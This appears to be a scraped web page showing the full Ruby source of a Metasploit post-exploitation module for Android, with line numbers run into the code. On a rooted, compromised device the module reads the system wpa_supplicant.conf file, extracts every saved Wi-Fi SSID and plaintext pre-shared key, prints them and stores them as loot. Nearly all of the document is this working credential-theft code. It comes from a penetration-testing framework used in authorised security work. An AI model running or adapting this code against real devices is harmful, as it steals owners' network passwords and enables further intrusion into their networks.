Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/android/gather/wireless_ap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Android::Priv1011def initialize(info = {})12super(13update_info(14info,15{16'Name' => 'Displays wireless SSIDs and PSKs',17'Description' => %q{18This module displays all wireless AP creds saved on the target device.19},20'License' => MSF_LICENSE,21'Author' => ['Auxilus', 'timwr'],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Platform' => 'android'24}25)26)27end2829def run30unless is_root?31print_error('This module requires root permissions.')32return33end3435data = read_file('/data/misc/wifi/wpa_supplicant.conf')36aps = parse_wpa_supplicant(data)3738if aps.empty?39print_error('No wireless APs found on the device')40return41end42ap_tbl = Rex::Text::Table.new(43'Header' => 'Wireless APs',44'Indent' => 1,45'Columns' => ['SSID', 'net_type', 'password']46)4748aps.each do |ap|49ap_tbl << [50ap[0], # SSID51ap[1], # TYPE52ap[2] # PASSWORD53]54end5556print_line(ap_tbl.to_s)57p = store_loot(58'wireless.ap.creds',59'text/csv',60session,61ap_tbl.to_csv,62File.basename('wireless_ap_credentials.txt')63)64print_good("Secrets stored in: #{p}")65end6667def parse_wpa_supplicant(data)68aps = []69networks = data.scan(/^network={$(.*?)^}$/m)70networks.each do |block|71aps << parse_network_block(block[0])72end73aps74end7576def parse_network_block(block)77ssid = parse_option(block, 'ssid')78type = parse_option(block, 'key_mgmt', false)79psk = parse_option(block, 'psk')80[ssid, type, psk]81end8283def parse_option(block, token, strip_quotes = true)84if strip_quotes && ((result = block.match(/^\s#{token}="(.+)"$/)))85return result.captures[0]86elsif (result = block.match(/^\s#{token}=(.+)$/))87return result.captures[0]88end89end9091end929394